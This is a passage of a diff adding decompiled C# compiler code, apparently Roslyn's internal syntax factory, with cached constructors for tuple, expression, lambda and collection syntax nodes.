+ return nullableTypeSyntax; + } + + public TupleTypeSyntax TupleType(SyntaxToken openParenToken, SeparatedSyntaxList elements, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8924, (GreenNode)(object)openParenToken, elements.Node, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (TupleTypeSyntax)(object)val; + } + TupleTypeSyntax tupleTypeSyntax = new TupleTypeSyntax(SyntaxKind.TupleType, openParenToken, elements.Node, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)tupleTypeSyntax, hash); + } + return tupleTypeSyntax; + } + + public TupleElementSyntax TupleElement(TypeSyntax type, SyntaxToken? identifier) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8925, (GreenNode)(object)type, (GreenNode)(object)identifier, context, out hash); + if (val != null) + { + return (TupleElementSyntax)(object)val; + } + TupleElementSyntax tupleElementSyntax = new TupleElementSyntax(SyntaxKind.TupleElement, type, identifier, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)tupleElementSyntax, hash); + } + return tupleElementSyntax; + } + + public OmittedTypeArgumentSyntax OmittedTypeArgument(SyntaxToken omittedTypeArgumentToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8626, (GreenNode)(object)omittedTypeArgumentToken, context, out hash); + if (val != null) + { + return (OmittedTypeArgumentSyntax)(object)val; + } + OmittedTypeArgumentSyntax omittedTypeArgumentSyntax = new OmittedTypeArgumentSyntax(SyntaxKind.OmittedTypeArgument, omittedTypeArgumentToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)omittedTypeArgumentSyntax, hash); + } + return omittedTypeArgumentSyntax; + } + + public RefTypeSyntax RefType(SyntaxToken refKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9051, (GreenNode)(object)refKeyword, (GreenNode)(object)readOnlyKeyword, (GreenNode)(object)type, context, out hash); + if (val != null) + { + return (RefTypeSyntax)(object)val; + } + RefTypeSyntax refTypeSyntax = new RefTypeSyntax(SyntaxKind.RefType, refKeyword, readOnlyKeyword, type, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)refTypeSyntax, hash); + } + return refTypeSyntax; + } + + public ScopedTypeSyntax ScopedType(SyntaxToken scopedKeyword, TypeSyntax type) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9075, (GreenNode)(object)scopedKeyword, (GreenNode)(object)type, context, out hash); + if (val != null) + { + return (ScopedTypeSyntax)(object)val; + } + ScopedTypeSyntax scopedTypeSyntax = new ScopedTypeSyntax(SyntaxKind.ScopedType, scopedKeyword, type, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)scopedTypeSyntax, hash); + } + return scopedTypeSyntax; + } + + public ParenthesizedExpressionSyntax ParenthesizedExpression(SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8632, (GreenNode)(object)openParenToken, (GreenNode)(object)expression, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (ParenthesizedExpressionSyntax)(object)val; + } + ParenthesizedExpressionSyntax parenthesizedExpressionSyntax = new ParenthesizedExpressionSyntax(SyntaxKind.ParenthesizedExpression, openParenToken, expression, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)parenthesizedExpressionSyntax, hash); + } + return parenthesizedExpressionSyntax; + } + + public TupleExpressionSyntax TupleExpression(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8926, (GreenNode)(object)openParenToken, arguments.Node, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (TupleExpressionSyntax)(object)val; + } + TupleExpressionSyntax tupleExpressionSyntax = new TupleExpressionSyntax(SyntaxKind.TupleExpression, openParenToken, arguments.Node, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)tupleExpressionSyntax, hash); + } + return tupleExpressionSyntax; + } + + public PrefixUnaryExpressionSyntax PrefixUnaryExpression(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax operand) + { + if (kind - 8730 > (SyntaxKind)7 && kind != SyntaxKind.IndexExpression) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)operatorToken, (GreenNode)(object)operand, context, out hash); + if (val != null) + { + return (PrefixUnaryExpressionSyntax)(object)val; + } + PrefixUnaryExpressionSyntax prefixUnaryExpressionSyntax = new PrefixUnaryExpressionSyntax(kind, operatorToken, operand, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)prefixUnaryExpressionSyntax, hash); + } + return prefixUnaryExpressionSyntax; + } + + public AwaitExpressionSyntax AwaitExpression(SyntaxToken awaitKeyword, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8740, (GreenNode)(object)awaitKeyword, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (AwaitExpressionSyntax)(object)val; + } + AwaitExpressionSyntax awaitExpressionSyntax = new AwaitExpressionSyntax(SyntaxKind.AwaitExpression, awaitKeyword, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)awaitExpressionSyntax, hash); + } + return awaitExpressionSyntax; + } + + public PostfixUnaryExpressionSyntax PostfixUnaryExpression(SyntaxKind kind, ExpressionSyntax operand, SyntaxToken operatorToken) + { + if (kind - 8738 > SyntaxKind.List && kind != SyntaxKind.SuppressNullableWarningExpression) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)operand, (GreenNode)(object)operatorToken, context, out hash); + if (val != null) + { + return (PostfixUnaryExpressionSyntax)(object)val; + } + PostfixUnaryExpressionSyntax postfixUnaryExpressionSyntax = new PostfixUnaryExpressionSyntax(kind, operand, operatorToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)postfixUnaryExpressionSyntax, hash); + } + return postfixUnaryExpressionSyntax; + } + + public MemberAccessExpressionSyntax MemberAccessExpression(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken operatorToken, SimpleNameSyntax name) + { + if (kind - 8689 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)expression, (GreenNode)(object)operatorToken, (GreenNode)(object)name, context, out hash); + if (val != null) + { + return (MemberAccessExpressionSyntax)(object)val; + } + MemberAccessExpressionSyntax memberAccessExpressionSyntax = new MemberAccessExpressionSyntax(kind, expression, operatorToken, name, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)memberAccessExpressionSyntax, hash); + } + return memberAccessExpressionSyntax; + } + + public ConditionalAccessExpressionSyntax ConditionalAccessExpression(ExpressionSyntax expression, SyntaxToken operatorToken, ExpressionSyntax whenNotNull) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8691, (GreenNode)(object)expression, (GreenNode)(object)operatorToken, (GreenNode)(object)whenNotNull, context, out hash); + if (val != null) + { + return (ConditionalAccessExpressionSyntax)(object)val; + } + ConditionalAccessExpressionSyntax conditionalAccessExpressionSyntax = new ConditionalAccessExpressionSyntax(SyntaxKind.ConditionalAccessExpression, expression, operatorToken, whenNotNull, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)conditionalAccessExpressionSyntax, hash); + } + return conditionalAccessExpressionSyntax; + } + + public MemberBindingExpressionSyntax MemberBindingExpression(SyntaxToken operatorToken, SimpleNameSyntax name) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8707, (GreenNode)(object)operatorToken, (GreenNode)(object)name, context, out hash); + if (val != null) + { + return (MemberBindingExpressionSyntax)(object)val; + } + MemberBindingExpressionSyntax memberBindingExpressionSyntax = new MemberBindingExpressionSyntax(SyntaxKind.MemberBindingExpression, operatorToken, name, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)memberBindingExpressionSyntax, hash); + } + return memberBindingExpressionSyntax; + } + + public ElementBindingExpressionSyntax ElementBindingExpression(BracketedArgumentListSyntax argumentList) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8708, (GreenNode)(object)argumentList, context, out hash); + if (val != null) + { + return (ElementBindingExpressionSyntax)(object)val; + } + ElementBindingExpressionSyntax elementBindingExpressionSyntax = new ElementBindingExpressionSyntax(SyntaxKind.ElementBindingExpression, argumentList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)elementBindingExpressionSyntax, hash); + } + return elementBindingExpressionSyntax; + } + + public RangeExpressionSyntax RangeExpression(ExpressionSyntax? leftOperand, SyntaxToken operatorToken, ExpressionSyntax? rightOperand) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8658, (GreenNode)(object)leftOperand, (GreenNode)(object)operatorToken, (GreenNode)(object)rightOperand, context, out hash); + if (val != null) + { + return (RangeExpressionSyntax)(object)val; + } + RangeExpressionSyntax rangeExpressionSyntax = new RangeExpressionSyntax(SyntaxKind.RangeExpression, leftOperand, operatorToken, rightOperand, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)rangeExpressionSyntax, hash); + } + return rangeExpressionSyntax; + } + + public ImplicitElementAccessSyntax ImplicitElementAccess(BracketedArgumentListSyntax argumentList) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8656, (GreenNode)(object)argumentList, context, out hash); + if (val != null) + { + return (ImplicitElementAccessSyntax)(object)val; + } + ImplicitElementAccessSyntax implicitElementAccessSyntax = new ImplicitElementAccessSyntax(SyntaxKind.ImplicitElementAccess, argumentList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)implicitElementAccessSyntax, hash); + } + return implicitElementAccessSyntax; + } + + public BinaryExpressionSyntax BinaryExpression(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + { + if (kind - 8668 > (SyntaxKind)20 && kind != SyntaxKind.UnsignedRightShiftExpression) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)left, (GreenNode)(object)operatorToken, (GreenNode)(object)right, context, out hash); + if (val != null) + { + return (BinaryExpressionSyntax)(object)val; + } + BinaryExpressionSyntax binaryExpressionSyntax = new BinaryExpressionSyntax(kind, left, operatorToken, right, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)binaryExpressionSyntax, hash); + } + return binaryExpressionSyntax; + } + + public AssignmentExpressionSyntax AssignmentExpression(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + { + if (kind - 8714 > (SyntaxKind)12) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)left, (GreenNode)(object)operatorToken, (GreenNode)(object)right, context, out hash); + if (val != null) + { + return (AssignmentExpressionSyntax)(object)val; + } + AssignmentExpressionSyntax assignmentExpressionSyntax = new AssignmentExpressionSyntax(kind, left, operatorToken, right, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)assignmentExpressionSyntax, hash); + } + return assignmentExpressionSyntax; + } + + public ConditionalExpressionSyntax ConditionalExpression(ExpressionSyntax condition, SyntaxToken questionToken, ExpressionSyntax whenTrue, SyntaxToken colonToken, ExpressionSyntax whenFalse) + { + return new ConditionalExpressionSyntax(SyntaxKind.ConditionalExpression, condition, questionToken, whenTrue, colonToken, whenFalse, context); + } + + public ThisExpressionSyntax ThisExpression(SyntaxToken token) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8746, (GreenNode)(object)token, context, out hash); + if (val != null) + { + return (ThisExpressionSyntax)(object)val; + } + ThisExpressionSyntax thisExpressionSyntax = new ThisExpressionSyntax(SyntaxKind.ThisExpression, token, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)thisExpressionSyntax, hash); + } + return thisExpressionSyntax; + } + + public BaseExpressionSyntax BaseExpression(SyntaxToken token) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8747, (GreenNode)(object)token, context, out hash); + if (val != null) + { + return (BaseExpressionSyntax)(object)val; + } + BaseExpressionSyntax baseExpressionSyntax = new BaseExpressionSyntax(SyntaxKind.BaseExpression, token, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)baseExpressionSyntax, hash); + } + return baseExpressionSyntax; + } + + public LiteralExpressionSyntax LiteralExpression(SyntaxKind kind, SyntaxToken token) + { + if (kind - 8748 > (SyntaxKind)8) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)token, context, out hash); + if (val != null) + { + return (LiteralExpressionSyntax)(object)val; + } + LiteralExpressionSyntax literalExpressionSyntax = new LiteralExpressionSyntax(kind, token, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)literalExpressionSyntax, hash); + } + return literalExpressionSyntax; + } + + public MakeRefExpressionSyntax MakeRefExpression(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + return new MakeRefExpressionSyntax(SyntaxKind.MakeRefExpression, keyword, openParenToken, expression, closeParenToken, context); + } + + public RefTypeExpressionSyntax RefTypeExpression(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + return new RefTypeExpressionSyntax(SyntaxKind.RefTypeExpression, keyword, openParenToken, expression, closeParenToken, context); + } + + public RefValueExpressionSyntax RefValueExpression(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken comma, TypeSyntax type, SyntaxToken closeParenToken) + { + return new RefValueExpressionSyntax(SyntaxKind.RefValueExpression, keyword, openParenToken, expression, comma, type, closeParenToken, context); + } + + public CheckedExpressionSyntax CheckedExpression(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + if (kind - 8762 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + return new CheckedExpressionSyntax(kind, keyword, openParenToken, expression, closeParenToken, context); + } + + public DefaultExpressionSyntax DefaultExpression(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + return new DefaultExpressionSyntax(SyntaxKind.DefaultExpression, keyword, openParenToken, type, closeParenToken, context); + } + + public TypeOfExpressionSyntax TypeOfExpression(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + return new TypeOfExpressionSyntax(SyntaxKind.TypeOfExpression, keyword, openParenToken, type, closeParenToken, context); + } + + public SizeOfExpressionSyntax SizeOfExpression(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + return new SizeOfExpressionSyntax(SyntaxKind.SizeOfExpression, keyword, openParenToken, type, closeParenToken, context); + } + + public InvocationExpressionSyntax InvocationExpression(ExpressionSyntax expression, ArgumentListSyntax argumentList) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8634, (GreenNode)(object)expression, (GreenNode)(object)argumentList, context, out hash); + if (val != null) + { + return (InvocationExpressionSyntax)(object)val; + } + InvocationExpressionSyntax invocationExpressionSyntax = new InvocationExpressionSyntax(SyntaxKind.InvocationExpression, expression, argumentList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)invocationExpressionSyntax, hash); + } + return invocationExpressionSyntax; + } + + public ElementAccessExpressionSyntax ElementAccessExpression(ExpressionSyntax expression, BracketedArgumentListSyntax argumentList) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8635, (GreenNode)(object)expression, (GreenNode)(object)argumentList, context, out hash); + if (val != null) + { + return (ElementAccessExpressionSyntax)(object)val; + } + ElementAccessExpressionSyntax elementAccessExpressionSyntax = new ElementAccessExpressionSyntax(SyntaxKind.ElementAccessExpression, expression, argumentList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)elementAccessExpressionSyntax, hash); + } + return elementAccessExpressionSyntax; + } + + public ArgumentListSyntax ArgumentList(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8636, (GreenNode)(object)openParenToken, arguments.Node, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (ArgumentListSyntax)(object)val; + } + ArgumentListSyntax argumentListSyntax = new ArgumentListSyntax(SyntaxKind.ArgumentList, openParenToken, arguments.Node, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)argumentListSyntax, hash); + } + return argumentListSyntax; + } + + public BracketedArgumentListSyntax BracketedArgumentList(SyntaxToken openBracketToken, SeparatedSyntaxList arguments, SyntaxToken closeBracketToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8637, (GreenNode)(object)openBracketToken, arguments.Node, (GreenNode)(object)closeBracketToken, context, out hash); + if (val != null) + { + return (BracketedArgumentListSyntax)(object)val; + } + BracketedArgumentListSyntax bracketedArgumentListSyntax = new BracketedArgumentListSyntax(SyntaxKind.BracketedArgumentList, openBracketToken, arguments.Node, closeBracketToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)bracketedArgumentListSyntax, hash); + } + return bracketedArgumentListSyntax; + } + + public ArgumentSyntax Argument(NameColonSyntax? nameColon, SyntaxToken? refKindKeyword, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8638, (GreenNode)(object)nameColon, (GreenNode)(object)refKindKeyword, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (ArgumentSyntax)(object)val; + } + ArgumentSyntax argumentSyntax = new ArgumentSyntax(SyntaxKind.Argument, nameColon, refKindKeyword, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)argumentSyntax, hash); + } + return argumentSyntax; + } + + public ExpressionColonSyntax ExpressionColon(ExpressionSyntax expression, SyntaxToken colonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9069, (GreenNode)(object)expression, (GreenNode)(object)colonToken, context, out hash); + if (val != null) + { + return (ExpressionColonSyntax)(object)val; + } + ExpressionColonSyntax expressionColonSyntax = new ExpressionColonSyntax(SyntaxKind.ExpressionColon, expression, colonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)expressionColonSyntax, hash); + } + return expressionColonSyntax; + } + + public NameColonSyntax NameColon(IdentifierNameSyntax name, SyntaxToken colonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8639, (GreenNode)(object)name, (GreenNode)(object)colonToken, context, out hash); + if (val != null) + { + return (NameColonSyntax)(object)val; + } + NameColonSyntax nameColonSyntax = new NameColonSyntax(SyntaxKind.NameColon, name, colonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)nameColonSyntax, hash); + } + return nameColonSyntax; + } + + public DeclarationExpressionSyntax DeclarationExpression(TypeSyntax type, VariableDesignationSyntax designation) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9040, (GreenNode)(object)type, (GreenNode)(object)designation, context, out hash); + if (val != null) + { + return (DeclarationExpressionSyntax)(object)val; + } + DeclarationExpressionSyntax declarationExpressionSyntax = new DeclarationExpressionSyntax(SyntaxKind.DeclarationExpression, type, designation, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)declarationExpressionSyntax, hash); + } + return declarationExpressionSyntax; + } + + public CastExpressionSyntax CastExpression(SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, ExpressionSyntax expression) + { + return new CastExpressionSyntax(SyntaxKind.CastExpression, openParenToken, type, closeParenToken, expression, context); + } + + public AnonymousMethodExpressionSyntax AnonymousMethodExpression(SyntaxList modifiers, SyntaxToken delegateKeyword, ParameterListSyntax? parameterList, BlockSyntax block, ExpressionSyntax? expressionBody) + { + return new AnonymousMethodExpressionSyntax(SyntaxKind.AnonymousMethodExpression, modifiers.Node, delegateKeyword, parameterList, block, expressionBody, context); + } + + public SimpleLambdaExpressionSyntax SimpleLambdaExpression(SyntaxList attributeLists, SyntaxList modifiers, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + return new SimpleLambdaExpressionSyntax(SyntaxKind.SimpleLambdaExpression, attributeLists.Node, modifiers.Node, parameter, arrowToken, block, expressionBody, context); + } + + public RefExpressionSyntax RefExpression(SyntaxToken refKeyword, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9050, (GreenNode)(object)refKeyword, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (RefExpressionSyntax)(object)val; + } + RefExpressionSyntax refExpressionSyntax = new RefExpressionSyntax(SyntaxKind.RefExpression, refKeyword, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)refExpressionSyntax, hash); + } + return refExpressionSyntax; + } + + public ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax? returnType, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + return new ParenthesizedLambdaExpressionSyntax(SyntaxKind.ParenthesizedLambdaExpression, attributeLists.Node, modifiers.Node, returnType, parameterList, arrowToken, block, expressionBody, context); + } + + public InitializerExpressionSyntax InitializerExpression(SyntaxKind kind, SyntaxToken openBraceToken, SeparatedSyntaxList expressions, SyntaxToken closeBraceToken) + { + if (kind - 8644 > (SyntaxKind)2 && kind != SyntaxKind.ComplexElementInitializerExpression && kind != SyntaxKind.WithInitializerExpression) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)openBraceToken, expressions.Node, (GreenNode)(object)closeBraceToken, context, out hash); + if (val != null) + { + return (InitializerExpressionSyntax)(object)val; + } + InitializerExpressionSyntax initializerExpressionSyntax = new InitializerExpressionSyntax(kind, openBraceToken, expressions.Node, closeBraceToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)initializerExpressionSyntax, hash); + } + return initializerExpressionSyntax; + } + + public ImplicitObjectCreationExpressionSyntax ImplicitObjectCreationExpression(SyntaxToken newKeyword, ArgumentListSyntax argumentList, InitializerExpressionSyntax? initializer) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8659, (GreenNode)(object)newKeyword, (GreenNode)(object)argumentList, (GreenNode)(object)initializer, context, out hash); + if (val != null) + { + return (ImplicitObjectCreationExpressionSyntax)(object)val; + } + ImplicitObjectCreationExpressionSyntax implicitObjectCreationExpressionSyntax = new ImplicitObjectCreationExpressionSyntax(SyntaxKind.ImplicitObjectCreationExpression, newKeyword, argumentList, initializer, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)implicitObjectCreationExpressionSyntax, hash); + } + return implicitObjectCreationExpressionSyntax; + } + + public ObjectCreationExpressionSyntax ObjectCreationExpression(SyntaxToken newKeyword, TypeSyntax type, ArgumentListSyntax? argumentList, InitializerExpressionSyntax? initializer) + { + return new ObjectCreationExpressionSyntax(SyntaxKind.ObjectCreationExpression, newKeyword, type, argumentList, initializer, context); + } + + public WithExpressionSyntax WithExpression(ExpressionSyntax expression, SyntaxToken withKeyword, InitializerExpressionSyntax initializer) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9061, (GreenNode)(object)expression, (GreenNode)(object)withKeyword, (GreenNode)(object)initializer, context, out hash); + if (val != null) + { + return (WithExpressionSyntax)(object)val; + } + WithExpressionSyntax withExpressionSyntax = new WithExpressionSyntax(SyntaxKind.WithExpression, expression, withKeyword, initializer, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)withExpressionSyntax, hash); + } + return withExpressionSyntax; + } + + public AnonymousObjectMemberDeclaratorSyntax AnonymousObjectMemberDeclarator(NameEqualsSyntax? nameEquals, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8647, (GreenNode)(object)nameEquals, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (AnonymousObjectMemberDeclaratorSyntax)(object)val; + } + AnonymousObjectMemberDeclaratorSyntax anonymousObjectMemberDeclaratorSyntax = new AnonymousObjectMemberDeclaratorSyntax(SyntaxKind.AnonymousObjectMemberDeclarator, nameEquals, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)anonymousObjectMemberDeclaratorSyntax, hash); + } + return anonymousObjectMemberDeclaratorSyntax; + } + + public AnonymousObjectCreationExpressionSyntax AnonymousObjectCreationExpression(SyntaxToken newKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList initializers, SyntaxToken closeBraceToken) + { + return new AnonymousObjectCreationExpressionSyntax(SyntaxKind.AnonymousObjectCreationExpression, newKeyword, openBraceToken, initializers.Node, closeBraceToken, context); + } + + public ArrayCreationExpressionSyntax ArrayCreationExpression(SyntaxToken newKeyword, ArrayTypeSyntax type, InitializerExpressionSyntax? initializer) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8651, (GreenNode)(object)newKeyword, (GreenNode)(object)type, (GreenNode)(object)initializer, context, out hash); + if (val != null) + { + return (ArrayCreationExpressionSyntax)(object)val; + } + ArrayCreationExpressionSyntax arrayCreationExpressionSyntax = new ArrayCreationExpressionSyntax(SyntaxKind.ArrayCreationExpression, newKeyword, type, initializer, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)arrayCreationExpressionSyntax, hash); + } + return arrayCreationExpressionSyntax; + } + + public ImplicitArrayCreationExpressionSyntax ImplicitArrayCreationExpression(SyntaxToken newKeyword, SyntaxToken openBracketToken, SyntaxList commas, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + { + return new ImplicitArrayCreationExpressionSyntax(SyntaxKind.ImplicitArrayCreationExpression, newKeyword, openBracketToken, commas.Node, closeBracketToken, initializer, context); + } + + public StackAllocArrayCreationExpressionSyntax StackAllocArrayCreationExpression(SyntaxToken stackAllocKeyword, TypeSyntax type, InitializerExpressionSyntax? initializer) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8653, (GreenNode)(object)stackAllocKeyword, (GreenNode)(object)type, (GreenNode)(object)initializer, context, out hash); + if (val != null) + { + return (StackAllocArrayCreationExpressionSyntax)(object)val; + } + StackAllocArrayCreationExpressionSyntax stackAllocArrayCreationExpressionSyntax = new StackAllocArrayCreationExpressionSyntax(SyntaxKind.StackAllocArrayCreationExpression, stackAllocKeyword, type, initializer, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)stackAllocArrayCreationExpressionSyntax, hash); + } + return stackAllocArrayCreationExpressionSyntax; + } + + public ImplicitStackAllocArrayCreationExpressionSyntax ImplicitStackAllocArrayCreationExpression(SyntaxToken stackAllocKeyword, SyntaxToken openBracketToken, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + { + return new ImplicitStackAllocArrayCreationExpressionSyntax(SyntaxKind.ImplicitStackAllocArrayCreationExpression, stackAllocKeyword, openBracketToken, closeBracketToken, initializer, context); + } + + public CollectionExpressionSyntax CollectionExpression(SyntaxToken openBracketToken, SeparatedSyntaxList elements, SyntaxToken closeBracketToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9076, (GreenNode)(object)openBracketToken, elements.Node, (GreenNode)(object)closeBracketToken, context, out hash); + if (val != null) + { + return (CollectionExpressionSyntax)(object)val; + } + CollectionExpressionSyntax collectionExpressionSyntax = new CollectionExpressionSyntax(SyntaxKind.CollectionExpression, openBracketToken, elements.Node, closeBracketToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)collectionExpressionSyntax, hash); + } + return collectionExpressionSyntax; + } + + public ExpressionElementSyntax ExpressionElement(ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9077, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (ExpressionElementSyntax)(object)val; + } + ExpressionElementSyntax expressionElementSyntax = new ExpressionElementSyntax(SyntaxKind.ExpressionElement, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)expressionElementSyntax, hash); + } + return expressionElementSyntax; + } + + public SpreadElementSyntax SpreadElement(SyntaxToken operatorToken, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9078, (GreenNode)(object)operatorToken, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (SpreadElementSyntax)(object)val; + } + SpreadElementSyntax spreadElementSyntax = new SpreadElementSyntax(SyntaxKind.SpreadElement, operatorToken, expression, context); + if (hash >= 0) + { + 